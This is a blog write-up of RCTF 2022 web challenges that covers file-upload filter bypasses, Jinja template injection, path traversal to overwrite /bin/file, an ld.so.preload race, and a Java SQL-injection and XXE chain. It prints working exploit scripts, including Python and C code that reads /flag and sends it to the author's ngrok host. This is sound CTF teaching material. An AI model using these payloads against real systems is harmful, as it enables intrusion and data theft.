Saturday, December 10, 2022

RCTF 2022 - Hacking File Uploads

RCTF 2022 is a Jeopardy-style Online Capture The Flag Competition presented by ROIS(Researcher Of In-formation Security). The Champion Team of RCTF 2022 will be invited to The Finals of the 8th Edition of XCTF.

It is hosted by XCTF, which is kind of a Chinese CTF league.

This edition had some nice file upload hacking challenges and I think it deserves some discussion.


Most of the challenges I’ve played were about file uploads. I also solved ezbypass, but probably SECONDS after the submission ended. I’ll miss those points for the rest of my life.

I worked on a series called filechecker and easy_upload. Didn’t have the time to work on the others.

Easy Upload

This challenge have a very simple upload form, which returns upload success for the happy path. You can access the uploaded files in the /upload directory:

After looking at the code, you have some filters:

  • Blacklist file extensions: php, ini, phtml, htaccess
  • Blacklist file content: <?, php, handler

If your file falls in one of those filters, it returns you an error message and your file is not saved to /upload.


The obvious choice here in terms of PHP Upload Hacking would be uploading a .php file and running it inside the /upload dir.

It does not work because of the filters (both file extension and file content).


Bypassing file extension

Filter (Summarized)

$this->ext_blacklist = [
// ...
foreach ($this->ext_blacklist as $v){
    if (strstr($ext, $v) !== false){
        return $this->invalid("fucking $ext extension.");
$dir = dirname($request->server->get('SCRIPT_FILENAME'));

$result = move_uploaded_file($file["tmp_name"], "$dir/upload/".strtolower($file["name"]));

It blocks file extensions, but it does not check for case and it lowercases the filename at the end…

Just sending payload.PHP bypass this filter and generates a payload.php file on the server, but we still can’t use PHP tags due to the content filter…

Bypassing content filter

Filter (Summarized)

$this->content_blacklist = ["<?", "php", "handler"];
// ..
$content = file_get_contents($file["tmp_name"]);
$charset = mb_detect_encoding($content, null, true);
// ..
if(false !== $charset){
    if($charset == "BASE64"){
        $content = base64_decode($content);
    foreach ($this->content_blacklist as $v) {
        if(stristr($content, $v)!==false){
            return $this->invalid("fucking $v .");
    return $this->invalid("fucking invalid format.");

It tries to detect base64. If it is detected, check only the decoded payload (and ignore the original). If we can fool the app to think it’s base64, but still inject our script, we can completely avoid the filter.

Fortunately for us, it uses mb_detect_encoding to “detect” the base64. This function inner workings is terribly documented and gave me some hard time looking through PHP ext source code.

It turns out, this function works based on char frequency, checking the the charset for each byte, which makes it kind of innacurate, if the detection is not strict (default == false).

Solved it simply fuzzying a little bit with different charsets. My first trials with the payload always detected ASCII. I was successful by including a few ISO-8859-1 chars (same described in the examples section of the PHP docs) and a lot of regular base64 chars (letter b).

lotsofb = "b"*1000
payload = f"a={lotsofb}xxx\n<?php echo file_get_contents('/flag'); ?>\nxxxxE1{lotsofb}\xE9{lotsofb}\xF3{lotsofb}\xFA"

# Uppercase extension, will be lowercased
with open('nep1252_payload.PHP', 'w') as p:

With this payload, I just uploaded the nep1252_payload.PHP to the server and executed the saved file /upload/nep1252_payload.php.


Curious to see other people payloads. I believe it probably works with a much simpler/smaller one.

Filechecker Mini

Just an easy file check challenge~~~
The challenging environment restarts every three minutes

It starts with another upload file screen. This is basically a /bin/file as a service.

After uploading a file, it tells you the filetype.


We get a small Python/Flask source-code:

from flask import Flask, request, render_template, render_template_string
from waitress import serve
import os
import subprocess

app_dir = os.path.split(os.path.realpath(__file__))[0]
app = Flask(__name__)
app.config['UPLOAD_FOLDER'] = f'{app_dir}/upload/'

@app.route('/', methods=['GET','POST'])
def index():
        if request.method == 'GET':
            return render_template('index.html',result="ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿 ヽ(=^・ω・^=)丿")

        elif request.method == 'POST':
            f = request.files['file-upload']
            filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

            if os.path.exists(filepath) and ".." in filepath:
                return render_template('index.html', result="Don't (^=◕ᴥ◕=^) (^=◕ᴥ◕=^) (^=◕ᴥ◕=^)")
                file_check_res = subprocess.check_output(
                    ["/bin/file", "-b", filepath], 
                if "empty" in file_check_res or "cannot open" in file_check_res:
                    file_check_res="wafxixi ฅ•ω•ฅ ฅ•ω•ฅ ฅ•ω•ฅ"
                return render_template_string(file_check_res)

        return render_template('index.html', result='Error ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ ฅ(๑*д*๑)ฅ')

if __name__ == '__main__':
    serve(app, host="", port=3000, threads=1000, cleanup_interval=30)

After upload, it calls /bin/file -b <uploaded_file>, returns the result, and then removes the file.

Note the returning line:

file_check_res = subprocess.check_output(
                    ["/bin/file", "-b", filepath], 
# ... some lines after...
return render_template_string(file_check_res)

It renders the output of the process call as a Jinja template. If we can inject a template string, we got RCE.


If you call /bin/file in a file with a Linux magic (first line), it will show that in the output:

$ head -1 

$ /bin/file -b 
a /bin/neptunian script, ASCII text executable

Se we have an easy, unfiltered, SSTI:

#!/usr/bin/{{"/flag").read() }}

After uploading:


Filechecker Plus

This is another version of the same challenge, with two small changes:

  • It does not render the Jinja for the process output. Just the plain string (taking the fun away from the first solve).
  • It runs as root!


Since it runs as root, we can overwrite any reachable files.

Take a look in the lines below:

f = request.files['file-upload']
filepath = os.path.join(app.config['UPLOAD_FOLDER'], f.filename)

The os.path.join function has the weirdest behaviour of ignoring the first parameter if the second is an absolute parameter. It’s almost a native backdoor.

Because of this, we can escape the /app/upload/ directory, by sending an absolute file name, and overwrite /bin/file!


We can just upload a shell script, changing the file name to overwrite, to RCE through the just-poisoned /bin/file. But I don’t want other players to see the flag, so I send the file to my ngrok. Since we don’t have curl/wget and other simple hacks didn’t work for me, I’ve sent a Python script.

import socket
import os

PORT = 11887

with open('/flag', 'r') as flagfile:
    flag =

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    s.sendall(bytes(flag, 'UTF-8'))

# Fake output (to try avoiding the hint for other players)
print("ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/, BuildID[sha1]=32715f59ea258e8fdf0dd8763fc501f958b0c4d6, for GNU/Linux 3.2.0, stripped")

And we just wait for the flag:


(We’re detecting some pattern here)

Filechecker Pro Max

That is another upgrade on the Filechecker, blocking previous hacks again. Now it checks if the file exists, so it does not overwrite files like /bin/file. Let’s try another approach.


While strace’ing to check for interesting steps in the /bin/file execution, this call screams for attention:

access("/etc/", R_OK)      = -1 ENOENT (No such file or directory)

I knew the LD_PRELOAD env var hack, but didn’t know the /etc/ file. With this file, you can set a specific ld_library_path for library calls, without having to change LD_PRELOAD.

Since the file does not exist, uploading will create a new one. And if we can inject our poisoned library anywhere in the filesystem, /etc/ can point there and we have our RCE to the flag.


I built the hacktricks preload lib, with a socket to send me the flag (again, to avoid giving the flag to other players):

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>

#define PORT 11227
#define MAX 256
#define SA struct sockaddr

void func(int sockfd)

    FILE* ptr;
    char str[MAX];
    ptr = fopen("/flag", "r");

    if (NULL == ptr) {

    if (fgets(str, MAX, ptr) != NULL) {
        write(sockfd, str, sizeof(str));



void exploit() {
    int sockfd, connfd;
    struct sockaddr_in servaddr, cli;

    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd == -1) {
    bzero(&servaddr, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_addr.s_addr = inet_addr("<NGROK IP>");
    servaddr.sin_port = htons(PORT);

    if (connect(sockfd, (SA*)&servaddr, sizeof(servaddr)) != 0) {
        printf("Python script, UTF-8 Unicode text executable\n");

void _init() {

compiled the lib:

gcc -fPIC -shared -o mypreload.c -nostartfiles

The precisa apontar para o local no server onde vamos fazer o upload da lib.


BUT, the app deletes the uploaded file right after running the /bin/file. Because of this, we need a race condition to get both /etc/ and /tmp/ at the same time in the server.

For that, I did a simple bash script, and by simple I mean ugly, to run some curls in parallel to upload the beast.

# TARGET=http://localhost:3000/
while [ $i -ne 100 ]
        echo "$i"

        curl -F '[email protected];filename=/etc/' $TARGET &
        curl -F '[email protected];filename=/tmp/' $TARGET &

And then we just sit and wait for the prize.



This was a very weird challenge and not upload-related, but you have to bypass some fun filters and I think it deserves an honorable mention.

Request URI filter

You have to reach /index, but there’s a filter:

public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
    if (isWhite(request) || auth()) {
      chain.doFilter(request, response);
    } else {
      response.getWriter().write("auth fail");
  public boolean isWhite(ServletRequest req) {
    HttpServletRequest request = (HttpServletRequest)req;
    if (request.getRequestURI().endsWith(".ico"))
      return true; 
    return false;
  public boolean auth() {
    return false;

To bypass the endsWith(".ico") filter, you can just call the URL like this:


Some Servlet implementations break the semicolon as a kind of parameter for the URL. This (very old) article explains that in more details.

We got into /index.

SQL injection without single quotes

public String sayHello(String password, String poc, String type, String yourclasses, HttpServletResponse response) throws Exception {
if (password.length() > 50 || password.indexOf("'") != -1) {
    System.out.println("not allow");
    return "not allow";
String username = this.userService.selectUsernameByPassword(password);
if (username != "") {
    String[] classes = yourclasses.split(",", 4);
    return xxe(poc, type, classes);
return "index";

Now we need to reach the xxe function, but the selectUsernameByPassword have to return non-empty data. We pass it the password parameter, but it cannot have single quotes (') and cannot have more than 50 chars.

import java.util.Map;
import org.apache.ibatis.jdbc.SQL;

public class UserProvider {
  public String selectByPassword(Map<String, Object> params) {
    return ((SQL)((SQL)((SQL)((SQL)(new SQL())
      .WHERE("password = '" + params.get("password") + "'"))

MyBatis (formerly iBatis) is an ORM for Java and we have this construct for dynamic queries.

We have an obvious SQL injection here, but we cant directly use single quotes. But wait, myBatis allows Java Expression Language.

And we can instantiate a class to generate our single quote: ${new Character(39)}.

Now we can get our SQL injection in 46 characters.

${new Character(39)}or 1<>${new Character(39)}

We got into the xxe function.

Weird Java Reflection bypass

public static String xxe(String b64poc, String type, String[] classes) throws Exception {
    String res = "";
    byte[] bytepoc = Base64.getDecoder().decode(b64poc);
    if (check(bytepoc)) {
      DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
      DocumentBuilder builder = dbf.newDocumentBuilder();
      InputSource inputSource = null;
      Object wrappoc = null;
      Constructor<?> constructor = Class.forName(classes[0]).getDeclaredConstructor(new Class[] { Class.forName(classes[1]) });
      if (type.equals("string")) {
        String stringpoc = new String(bytepoc);
        wrappoc = constructor.newInstance(new Object[] { stringpoc });
      } else {
        wrappoc = constructor.newInstance(new Object[] { bytepoc });
      inputSource = Class.forName(classes[2]).getDeclaredConstructor(new Class[] { Class.forName(classes[3]) }).newInstance(new Object[] { wrappoc });
      Document doc = builder.parse(inputSource);
      NodeList nodes = doc.getChildNodes();
      for (int i = 0; i < nodes.getLength(); i++) {
        if (nodes.item(i).getNodeType() == 1) {
          res = res + nodes.item(i).getTextContent();
    return res;

That was the weirdest part of it. You have to compose some class names to be used in a Java Reflection loading sequence, in a way your origin data, of type bytes[] is turned into org.xml.sax.InputSource.

The correct payload would turn into “something” like this:

// input is the bytes[] data
output =
    new org.xml.sax.InputSource(
                new java.lang.String(input)

(I didn´t test it - it’s just for pedagogical purposes)

Working payload for classlist:,java.lang.String,org.xml.sax.InputSource,

XXE without “!DOCTYPE”

At last, there is a check function, that blocks !DOCTYPE, filtering our XXE and other byte combination that I don’t care.

public static boolean check(byte[] poc) throws Exception {
    String str = new String(poc);
    String[] blacklist = { "!DOCTYPE", new String(new byte[] { -2, -1 }), new String(new byte[] { -1, -2 }) };
    for (String black : blacklist) {
        if (str.indexOf(black) != -1) {
        System.out.println("not allow");
        return false;
    return true;

We need to set the DOCTYPE here, so this filter is not our friend. Luckily, there is a Hacktrick for it. We can encode the XML with a specific charset, like UTF-7. In fact, UTF-7 did not work, but I was able to work it around with utf-16be, with some help of Python.

HEADER = b"""<?xml version="1.0" encoding="UTF-16BE"?>"""
FINAL = HEADER + XXE_PAYLOAD.decode('utf-8').encode('utf-16be')

Final Payload

After all of this journey, we can send our very simple XXE payload to the flag:

<!DOCTYPE ff [
    <!ENTITY ff SYSTEM "/flag">
<item>value = &ff;</item>

We now have our final exploit

import requests
import base64

XXE_PAYLOAD = b"""<!DOCTYPE ff [<!ENTITY ff SYSTEM "/flag"> ]><item>value = &ff;</item>"""

HEADER = b"""<?xml version="1.0" encoding="UTF-16BE"?>"""
FINAL = HEADER + XXE_PAYLOAD.decode('utf-8').encode('utf-16be')


params = {
    'password': '${new Character(39)}or 1<>${new Character(39)}',
    'poc': base64.b64encode(FINAL),
    'type': 'string',
    'yourclasses': ',java.lang.String,org.xml.sax.InputSource,',

response = requests.get(';something=abc.ico', params=params)

$ python 
b'<?xml version="1.0" encoding="UTF-16BE"?>\x00<\x00!\x00D\x00O\x00C\x00T\x00Y\x00P\x00E\x00 \x00f\x00f\x00 \x00[\x00<\x00!\x00E\x00N\x00T\x00I\x00T\x00Y\x00 \x00f\x00f\x00 \x00S\x00Y\x00S\x00T\x00E\x00M\x00 \x00"\x00/\x00f\x00l\x00a\x00g\x00"\x00>\x00 \x00]\x00>\x00<\x00i\x00t\x00e\x00m\x00>\x00v\x00a\x00l\x00u\x00e\x00 \x00=\x00 \x00&\x00f\x00f\x00;\x00<\x00/\x00i\x00t\x00e\x00m\x00>'
value = RCTF{eeezzzzz222bypassss5555ovo}




To avoid being hacked by this kind of attacks:

  • Sanitize your input
  • Never trust file names from uploads
  • Generate file names for saving uploads whenever possible
  • Using buckets instead of file system may help
  • Guarantee the files are saved in the correct directory, but normalizing file paths.
  • Do not use os.path.join :D

I’m sure I’m forgetting other important protections here. Send me hints for better security on Twitter.

Last words

  • Technical aspects of the challenges were very nice
  • Most challenge steps were kind of unrealistic. The feeling of “real life” scenarios is always nicer. It didn’t take the fun away, but we got some weird stuff.
  • Please, introduce some friends to those hackers and pray. They really need girlfriends.


Capture the Flag , Web , Writeup